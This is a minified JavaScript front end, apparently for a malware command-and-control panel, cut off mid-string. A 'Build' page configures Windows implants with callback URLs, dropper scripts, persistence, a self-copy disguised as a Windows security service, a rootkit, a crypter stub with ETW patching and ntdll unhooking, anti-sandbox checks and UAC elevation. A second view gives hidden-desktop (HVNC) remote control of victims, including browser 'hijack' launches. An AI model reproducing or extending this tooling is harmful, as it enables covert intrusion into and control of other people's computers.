GU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState(!1),[o,l]=p.useState(0),[c,u]=p.useState(0),[d,f]=p.useState(""),[m,h]=p.useState(""),x=p.useSyncExternalStore(o5,s5),g=x.status==="building",[y,v]=p.useState(k2),[b,w]=p.useState([""]),[j,k]=p.useState("30"),[S,N]=p.useState("25"),[z,O]=p.useState(""),[_,T]=p.useState(j2),[P,R]=p.useState(!1),[V,$]=p.useState("exe"),[L,W]=p.useState(0),[B,U]=p.useState(!0),[F,H]=p.useState(!0),[G,re]=p.useState(!0),[oe,he]=p.useState(!0),[pe,Y]=p.useState(1),[ee,C]=p.useState("Microsoft\\WindowsUpdate"),[E,X]=p.useState("SecurityHealthService.exe"),[I,ne]=p.useState(null),me=p.useCallback(async()=>{try{const K=await TE();t(K)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{me(),ME().then(K=>{w(J=>J.length===1&&J[0]===""?[K.default_callback_url]:J)}).catch(()=>{})},[me]),p.useEffect(()=>{if(!g||!x.startedAt){l(0),u(0);return}const K=setInterval(()=>{const le=Math.floor((Date.now()-x.startedAt)/1e3);u(le);const q=Math.min(95,Math.floor(100*(1-Math.exp(-le/50))));l(q)},500),J=Math.floor((Date.now()-x.startedAt)/1e3);return u(J),l(Math.min(95,Math.floor(100*(1-Math.exp(-J/50))))),()=>clearInterval(K)},[g,x.startedAt]),p.useEffect(()=>{g&&a(!0)},[]),p.useEffect(()=>{x.status==="success"?(h(`Payload "${x.payloadName}" built successfully`),a(!1),Rg(),me()):x.status==="error"&&(f(x.error||"Failed to build payload"),Rg())},[x.status]),p.useEffect(()=>{if(!m)return;const K=setTimeout(()=>h(""),4e3);return()=>clearTimeout(K)},[m]);function ve(){v(k2()),k("30"),N("25"),O(""),T(j2),R(!1),$("exe"),W(0),U(!0),H(!0),re(!0),he(!0),Y(1),C("Microsoft\\WindowsUpdate"),X("SecurityHealthService.exe")}async function Ee(K){K.preventDefault(),f("");const J=b.filter(Q=>Q.trim()!=="");let le=0;z&&(le=Math.floor(new Date(z).getTime()/1e3));const q={name:y.trim(),callback_urls:J,sleep_interval:parseInt(j,10)||30,jitter_percent:parseInt(S,10)||25,kill_date:le,user_agent:_.trim(),output_format:V,debug:P,persist_methods:L||void 0,rootkit_enabled:B,encryption_enabled:F,anti_vm:G,auto_elevate:oe,install_dir:pe,install_subdir:ee,install_filename:E};kA(q.name);try{await OE(q),NA(),ve()}catch(Q){Q instanceof ai?Dg(Q.message):Dg("Failed to build payload")}}async function D(K){const J=et();if(!J){f("Not authenticated");return}try{const le=await fetch(`/api/payloads/${K.payload_id}/download`,{headers:{Authorization:`Bearer ${J}`}});if(!le.ok){f("Download failed");return}const q=await le.blob(),Q=URL.createObjectURL(q),ue=document.createElement("a");ue.href=Q;const A=le.headers.get("content-disposition"),se=A==null?void 0:A.match(/filename="(.+?)"/);ue.download=(se==null?void 0:se[1])||`${K.name||"payload"}.exe`,document.body.appendChild(ue),ue.click(),document.body.removeChild(ue),URL.revokeObjectURL(Q)}catch{f("Download failed")}}async function ce(K){try{await LE(K),ne(null),me()}catch{f("Failed to delete payload")}}return s.jsxs("div",{className:"p-6",children:[s.jsxs("div",{className:"flex items-center justify-between mb-6",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Build"}),s.jsx("button",{onClick:()=>{a(!i),f("")},className:` text-sm font-medium px-4 py-2 transition-all duration-150 ${i?"bg-zerin-panel text-zerin-text-dim border border-zerin-panel-border hover:bg-zerin-panel-hover":"bg-zerin-accent hover:bg-zerin-accent-hover text-white"} `,children:i?"Cancel":"+ Build Agent"})]}),m&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 text-zerin-accent px-4 py-2.5 text-sm mb-4",children:m}),i&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-5 mb-6",children:[s.jsx("h2",{className:"text-sm font-semibold text-zerin-text mb-4",children:"Build Agent"}),d&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/30 text-zerin-danger px-4 py-2.5 text-sm mb-4",children:d}),s.jsxs("form",{onSubmit:Ee,className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsx(ar,{label:"Payload Name",children:s.jsx("input",{type:"text",value:y,onChange:K=>v(K.target.value),required:!0,placeholder:"payload-001",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(ar,{label:"Output Format",children:s.jsxs("select",{value:V,onChange:K=>{const J=K.target.value;$(J),J==="exe"&&W(le=>le&-257)},className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:"exe",children:"EXE"}),s.jsx("option",{value:"bat",children:"BAT (Dropper Script)"})]})})]}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsx(ar,{label:"Sleep Interval (seconds)",children:s.jsx("input",{type:"number",value:j,onChange:K=>k(K.target.value),required:!0,min:"1",placeholder:"30",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [appearance:textfield] [&::-webkit-outer-spin-button]:appearance-none [&::-webkit-inner-spin-button]:appearance-none`})}),s.jsx(ar,{label:`Jitter (${S}%)`,children:s.jsx("input",{type:"range",value:S,onChange:K=>N(K.target.value),min:"0",max:"50",className:`w-full h-2 bg-zerin-bg border border-zerin-panel-border appearance-none cursor-pointer\r [&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:w-3 [&::-webkit-slider-thumb]:h-3\r [&::-webkit-slider-thumb]:bg-zerin-accent [&::-webkit-slider-thumb]:cursor-pointer\r [&::-moz-range-thumb]:w-3 [&::-moz-range-thumb]:h-3 [&::-moz-range-thumb]:bg-zerin-accent\r [&::-moz-range-thumb]:border-0 [&::-moz-range-thumb]:cursor-pointer mt-2`})}),s.jsx(ar,{label:"Kill Date",children:s.jsx("input",{type:"datetime-local",value:z,onChange:K=>O(K.target.value),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200\r [color-scheme:dark]`})})]}),s.jsx(ar,{label:"User Agent",children:s.jsx("input",{type:"text",value:_,onChange:K=>T(K.target.value),required:!0,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})}),s.jsx(ar,{label:"Auto-Persistence (installed on first run)",children:s.jsx("div",{className:"grid grid-cols-3 gap-2",children:YU.map(K=>{const J=K.dllOnly&&V==="exe";return s.jsxs("label",{className:`flex items-center gap-2 select-none py-1 px-2 transition-colors ${J?"opacity-50 cursor-not-allowed":"cursor-pointer hover:bg-zerin-panel-hover"}`,children:[s.jsx("input",{type:"checkbox",checked:(L&K.flag)!==0,disabled:J,onChange:le=>{W(le.target.checked?L|K.flag:L&~K.flag)},className:"accent-zerin-accent"}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:K.label}),K.admin&&s.jsx("span",{className:"text-[10px] text-zerin-text-muted bg-zerin-panel-hover px-1",children:"ADMIN"}),J&&s.jsx("span",{className:"text-[10px] text-zerin-danger bg-zerin-danger/10 px-1",children:"DLL ONLY"})]},K.flag)})})}),s.jsx(ar,{label:"Install Location (self-copy target)",children:s.jsxs("div",{className:"grid grid-cols-3 gap-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Base Directory"}),s.jsxs("select",{value:pe,onChange:K=>Y(parseInt(K.target.value,10)),className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-sans\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200 cursor-pointer`,children:[s.jsx("option",{value:0,children:"%TEMP%"}),s.jsx("option",{value:1,children:"%LOCALAPPDATA%"}),s.jsx("option",{value:2,children:"%APPDATA%"}),s.jsx("option",{value:3,children:"%PROGRAMDATA%"}),s.jsx("option",{value:4,children:"%USERPROFILE%"})]})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Subfolder"}),s.jsx("input",{type:"text",value:ee,onChange:K=>C(K.target.value),placeholder:"Microsoft\\WindowsUpdate",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Filename"}),s.jsx("input",{type:"text",value:E,onChange:K=>X(K.target.value),placeholder:"SecurityHealthService.exe",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r text-sm text-zerin-text font-mono placeholder:text-zerin-text-muted\r focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r transition-all duration-200`})]})]})}),s.jsxs(ar,{label:"Evasion",children:[s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("input",{type:"checkbox",checked:B,onChange:K=>U(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Rootkit (Process/File/Network Hiding)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Hides agent process, files, registry keys, and network connections from Task Manager, Explorer, netstat, and services"})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:F,onChange:K=>H(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Encryption (Crypter Stub)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Wraps payload in an encrypted stub with ntdll unhooking, ETW patching, and indirect syscalls"})]})]}),s.jsxs("label",{className:`flex items-center gap-3 select-none py-1 px-2 transition-colors mt-1 ${F?"cursor-pointer hover:bg-zerin-panel-hover":"opacity-50 cursor-not-allowed"}`,children:[s.jsx("input",{type:"checkbox",checked:G,disabled:!F,onChange:K=>re(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Anti-VM / Sandbox Detection"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Detects virtual machines and sandboxes (CPU count, RAM, disk size, sleep acceleration, recent files, debugger). Exits silently if detected."})]})]}),s.jsxs("label",{className:"flex items-center gap-3 cursor-pointer select-none py-1 px-2 hover:bg-zerin-panel-hover transition-colors mt-1",children:[s.jsx("input",{type:"checkbox",checked:oe,onChange:K=>he(K.target.checked),className:"accent-zerin-accent"}),s.jsxs("div",{children:[s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Auto-Elevate (UAC Prompt)"}),s.jsx("p",{className:"text-xs text-zerin-text-muted mt-0.5",children:"Shows a UAC prompt at startup to request admin privileges. Continues as non-admin if the user declines."})]})]})]}),s.jsxs("div",{className:"flex items-center justify-between pt-2",children:[s.jsxs("label",{className:"flex items-center gap-2 cursor-pointer select-none",children:[s.jsx("div",{onClick:()=>R(!P),className:`relative w-9 h-5 rounded-full transition-colors duration-200 cursor-pointer ${P?"bg-zerin-accent":"bg-zinc-700"}`,children:s.jsx("span",{className:`absolute top-0.5 left-0.5 w-4 h-4 bg-white rounded-full transition-transform duration-200 ${P?"translate-x-4":"translate-x-0"}`})}),s.jsx("span",{className:"text-sm text-zerin-text-dim",children:"Debug Mode"})]}),s.jsxs("div",{className:"flex gap-3",children:[s.jsx("button",{type:"button",onClick:()=>{a(!1),f("")},className:"text-sm text-zerin-text-dim hover:text-zerin-text px-4 py-2 transition-colors duration-150",children:"Cancel"}),s.jsxs("button",{type:"submit",disabled:g,className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium\r px-5 py-2 transition-all duration-150\r disabled:opacity-50 disabled:cursor-not-allowed\r flex items-center gap-2`,children:[g&&s.jsxs("svg",{className:"animate-spin h-4 w-4",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),g?"Building...":"Build"]})]}),g&&s.jsxs("div",{className:"mt-4 border border-zerin-panel-border bg-zerin-bg rounded-sm p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs text-zerin-text-muted",children:[s.jsx("span",{children:(N2.filter(K=>K.at<=o).pop()??N2[0]).label}),s.jsxs("span",{className:"font-mono tabular-nums",children:[c,"s"]})]}),s.jsx("div",{className:"w-full h-1.5 bg-zerin-panel-border rounded-full overflow-hidden",children:s.jsx("div",{className:"h-full bg-zerin-accent rounded-full transition-all duration-500 ease-out",style:{width:`${o}%`}})}),s.jsx("p",{className:"text-[11px] text-zerin-text-dim",children:"Compiling with MinGW cross-compiler. Typically takes 30–60 seconds."})]})]})]})]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading payloads..."]})}):e.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel border border-zerin-panel-border flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M11.42 15.17l-5.658 3.286a.75.75 0 01-1.112-.662V5.25a2.25 2.25 0 012.25-2.25h10.5a2.25 2.25 0 012.25 2.25v12.594a.75.75 0 01-1.112.662l-5.658-3.286a.75.75 0 00-.764 0z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm mb-1",children:"No payloads built"}),s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"Build an agent payload to deploy on targets."}),!i&&s.jsx("button",{onClick:()=>a(!0),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm font-medium mt-3 transition-colors",children:"+ Build Agent"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Sleep"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Jitter"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Agent Key"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built By"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Built At"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Size"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Actions"})]}),s.jsx("div",{children:e.map(K=>{let J={};try{J=JSON.parse(K.config_json)}catch{}return s.jsxs("div",{className:"grid grid-cols-[1fr_70px_60px_120px_100px_140px_70px_100px] gap-4 px-4 py-3 items-center border-b border-zerin-panel-border last:border-b-0 hover:bg-zerin-panel-hover transition-colors duration-100",children:[s.jsx("div",{children:s.jsx("span",{className:"text-sm font-medium text-zerin-text",children:K.name})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.sleep_interval??"—","s"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:[J.jitter_percent??"—","%"]})}),s.jsx("div",{children:s.jsxs("span",{className:"text-xs font-mono text-zerin-text-muted",title:K.agent_pubkey,children:[(K.agent_pubkey??"").slice(0,16),"..."]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-dim",children:K.built_by})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:wo(K.built_at)})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim tabular-nums",children:ym(K.file_size)})}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>D(K),className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors",title:"Download",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})})}),I===K.payload_id?s.jsxs("div",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>ce(K.payload_id),className:"text-xs text-zerin-danger hover:text-red-400 transition-colors",children:"Confirm"}),s.jsx("button",{onClick:()=>ne(null),className:"text-xs text-zerin-text-muted hover:text-zerin-text-dim transition-colors",children:"Cancel"})]}):s.jsx("button",{onClick:()=>ne(K.payload_id),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:"Delete",children:s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})})})]})]},K.payload_id)})})]}),s.jsx("p",{className:"text-center text-xs text-zerin-text-muted mt-8",children:"v1.0.1"})]})}function ar({label:e,children:t}){return s.jsxs("div",{children:[s.jsx("label",{className:"block text-sm text-zerin-text-dim font-sans mb-1.5",children:e}),t]})}const XU=[{label:"Explorer",cmd:"explorer.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})},{label:"Chrome",cmd:"chrome.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("circle",{cx:"12",cy:"12",r:"10"}),s.jsx("circle",{cx:"12",cy:"12",r:"4"}),s.jsx("line",{x1:"21.17",y1:"8",x2:"12",y2:"8"}),s.jsx("line",{x1:"3.95",y1:"6.06",x2:"8.54",y2:"14"}),s.jsx("line",{x1:"10.88",y1:"21.94",x2:"15.46",y2:"14"})]})},{label:"Brave",cmd:"brave.exe",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})})},{label:"Edge",cmd:"msedge.exe",icon:s.jsxs("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9 9 0 100-18 9 9 0 000 18z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 3c-1.5 3-2 6-1.5 9 .5 3 2 5.5 4.5 7"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.5 8.5h17"})]})}];function ZU(){const{id:e}=Vo(),[t]=fx(),n=t.get("mode")==="hvnc"?"hvnc":"vnc",r=n==="hvnc",i=p.useRef(null),a=p.useRef(null),o=p.useRef(null),l=p.useRef(null),c=p.useRef(null),u=p.useRef({x:-1,y:-1}),d=p.useRef(null),f=p.useRef(0),[m,h]=p.useState(!0),[x,g]=p.useState(!0),[y,v]=p.useState(!1),[b,w]=p.useState(60),[j,k]=p.useState(20),[S,N]=p.useState(0),[z,O]=p.useState({w:0,h:0}),[,_]=p.useState(""),[T,P]=p.useState(null),[R,V]=p.useState(!1),[$,L]=p.useState(!1),W=p.useRef(!1),[B,U]=p.useState({w:0,h:0});p.useEffect(()=>{const q=l.current;if(!q)return;const Q=new ResizeObserver(ue=>{const A=ue[0];A&&U({w:A.contentRect.width,h:A.contentRect.height})});return Q.observe(q),()=>Q.disconnect()},[]);const F=p.useMemo(()=>{if(z.w<=0||z.h<=0||B.w<=0||B.h<=0)return null;const q=Math.min(B.w/z.w,B.h/z.h);return{width:Math.floor(z.w*q),height:Math.floor(z.h*q)}},[z,B]),H=p.useRef({x:0,y:0,w:0,h:0}),G=p.useRef(null),re=p.useCallback((q,Q)=>{const ue=a.current;if(!ue)return;G.current||(G.current=ue.getContext("2d"));const A=G.current;if(!A)return;const se=H.current;if(se.w>0&&A.clearRect(se.x,se.y,se.w,se.h),q<0||Q<0){H.current={x:0,y:0,w:0,h:0};return}H.current={x:q-1,y:Q-1,w:16,h:24},A.save(),A.beginPath(),A.moveTo(q,Q),A.lineTo(q,Q+18),A.lineTo(q+5,Q+14),A.lineTo(q+9,Q+21),A.lineTo(q+12,Q+20),A.lineTo(q+8,Q+13),A.lineTo(q+13,Q+12),A.closePath(),A.fillStyle="white",A.fill(),A.strokeStyle="black",A.lineWidth=1,A.stroke(),A.restore()},[]),oe=p.useCallback((q,Q)=>{const ue=a.current;if(!ue)return;const A=ue.getContext("2d");A&&(A.save(),A.beginPath(),A.arc(q,Q,12,0,Math.PI*2),A.strokeStyle="rgba(6, 182, 212, 0.7)",A.lineWidth=2,A.stroke(),A.restore(),d.current&&clearTimeout(d.current),d.current=window.setTimeout(()=>{re(u.current.x,u.current.y)},150))},[re]),he=p.useCallback((q,Q,ue,A,se)=>{W.current||(W.current=!0,L(!0)),O({w:Q,h:ue});const te=i.current;if(!te)return;const de=te.getContext("2d");if(!de)return;(te.width!==Q||te.height!==ue)&&(te.width=Q,te.height=ue);const ge=a.current;if(ge&&(ge.width!==Q||ge.height!==ue)&&(ge.width=Q,ge.height=ue,G.current=null),typeof q=="string"){const Ne=c.current||new Image;c.current=Ne,Ne.onload=()=>{de.drawImage(Ne,0,0)},Ne.src=q}else q instanceof ImageBitmap?(de.drawImage(q,0,0),q.close()):de.drawImage(q,0,0)},[r]),pe=p.useCallback(()=>{},[]),{isConnected:Y,stats:ee,controls:C,connect:E,disconnect:X}=cv({agentId:e||"",mode:n,onFrame:he,onDisconnect:pe});p.useEffect(()=>{e&&E()},[e,E]);const I=p.useCallback(q=>{const Q=a.current,ue=i.current;if(!Q||!ue||z.w===0)return{x:0,y:0};const A=Q.getBoundingClientRect(),se=ue.width/A.width,te=ue.height/A.height;return{x:Math.min(Math.max(Math.round((q.clientX-A.left)*se),0),ue.width-1),y:Math.min(Math.max(Math.round((q.clientY-A.top)*te),0),ue.height-1)}},[z]),ne=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);u.current={x:Q,y:ue};const A=performance.now();A-f.current>=33&&(f.current=A,C.sendMouseMove(Q,ue)),re(Q,ue)},[m,y,I,C,re]),me=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);C.sendMouseButton(q.button,1,Q,ue),oe(Q,ue)},[m,y,I,C,oe]),ve=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q);C.sendMouseButton(q.button,0,Q,ue)},[m,y,I,C]),Ee=p.useCallback(q=>{if(!m||y)return;const{x:Q,y:ue}=I(q),A=q.deltaY>0?-120:120;C.sendMouseScroll(A,Q,ue)},[m,y,I,C]);p.useEffect(()=>{if(!x||y)return;const q=(A,se)=>{A.preventDefault(),A.stopPropagation();const te=A.keyCode||0;C.sendKey(se,te,0)},Q=A=>q(A,1),ue=A=>q(A,0);return window.addEventListener("keydown",Q,!0),window.addEventListener("keyup",ue,!0),()=>{window.removeEventListener("keydown",Q,!0),window.removeEventListener("keyup",ue,!0)}},[x,y,C]),p.useEffect(()=>{C.setViewOnly(y)},[y,C]);const D=p.useCallback(q=>{w(q),C.setQuality(q)},[C]),ce=p.useCallback(async()=>{try{const q=await navigator.clipboard.readText();q&&C.sendClipboard(q)}catch{}},[C]),K=p.useCallback(()=>{var q,Q;(Q=(q=o.current)==null?void 0:q.requestFullscreen)==null||Q.call(q)},[]),J=p.useCallback(async()=>{if(X(),e)try{r?await DE(e):await IE(e)}catch{}window.close()},[e,X,r]),le=p.useCallback(async q=>{if(!(!e||!q.trim())){P(null);try{await RE(e,q.trim(),R),P(`Launched ${q.trim()}${R?" (hijack)":""}`),_(""),setTimeout(()=>P(null),3e3)}catch(Q){P(`Failed: ${Q instanceof Error?Q.message:"unknown"}`)}}},[e,R]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:F?F.width:void 0,height:F?F.height:void 0,display:$?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ne,onMouseDown:me,onMouseUp:ve,onWheel:Ee,onContextMenu:q=>q.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!$)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 